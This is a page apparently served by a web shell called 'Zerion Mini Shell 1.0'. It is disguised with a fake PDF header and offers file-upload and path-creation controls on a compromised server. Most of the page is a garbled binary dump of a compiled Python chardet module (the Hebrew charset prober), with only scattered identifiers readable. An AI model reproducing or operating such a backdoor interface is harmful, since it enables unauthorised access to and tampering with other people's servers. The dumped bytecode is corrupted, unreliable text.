%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/core22/current/lib/python3/dist-packages/chardet/__pycache__/
Upload File :
Create Path :
Current File : //snap/core22/current/lib/python3/dist-packages/chardet/__pycache__/hebrewprober.cpython-310.pyc

o

-��_6�@s,ddlmZddlmZGdd�de�ZdS)�)�
CharSetProber)�ProbingStatecs�eZdZdZdZdZdZdZdZdZ	dZ
d	Zd
ZdZ
dZd
ZdZ�fdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zedd��Zedd��Zedd ��Z�ZS)!�HebrewProber�������������������g{�G�z�?z
ISO-8859-8zwindows-1255cs>tt|���d|_d|_d|_d|_d|_d|_|�	�dS�N)
�superr�__init__�_final_char_logical_score�_final_char_visual_score�_prev�_before_prev�_logical_prober�_visual_prober�reset��self��	__class__��6/usr/lib/python3/dist-packages/chardet/hebrewprober.pyr�szHebrewProber.__init__cCsd|_d|_d|_d|_dS)N�� )rrrrrrrrr�s
zHebrewProber.resetcCs||_||_dSr)rr)r�
logicalProber�visualProberrrr�set_model_probers�s
zHebrewProber.set_model_proberscCs||j|j|j|j|jfvSr)�	FINAL_KAF�	FINAL_MEM�	FINAL_NUN�FINAL_PE�FINAL_TSADI�r�crrr�is_final�s�zHebrewProber.is_finalcCs||j|j|j|jfvSr)�
NORMAL_KAF�
NORMAL_MEM�
NORMAL_NUN�	NORMAL_PEr*rrr�is_non_final�s
�zHebrewProber.is_non_finalcCs�|jtjkr	tjS|�|�}|D]D}|dkr7|jdkr6|�|j�r)|jd7_n$|�|j�r6|j	d7_	n|jdkrM|�|j�rM|dkrM|j	d7_	|j|_||_qtj
S)Nr!r)�stater�NOT_ME�filter_high_byte_onlyrr,rrr1r�	DETECTING)r�byte_str�currrr�feed�s&

�

�zHebrewProber.feedcCsx|j|j}||jkr|jS||jkr|jS|j��|j��}||jkr)|jS||jkr2|jS|dkr9|jS|jS)Ng)	rr�MIN_FINAL_CHAR_DISTANCE�LOGICAL_HEBREW_NAME�VISUAL_HEBREW_NAMEr�get_confidencer�MIN_MODEL_DISTANCE)r�finalsub�modelsubrrr�charset_name�s
�
zHebrewProber.charset_namecCsdS)N�Hebrewrrrrr�languageszHebrewProber.languagecCs(|jjtjkr|jjtjkrtjStjSr)rr2rr3rr5rrrrr2szHebrewProber.state)�__name__�
__module__�__qualname__r%r-r&r.r'r/r(r0r)�NORMAL_TSADIr9r=r;r:rrr$r,r1r8�propertyr@rBr2�
__classcell__rrrrr�s6

;

rN)�
charsetproberr�enumsrrrrrr�<module>sc

Zerion Mini Shell 1.0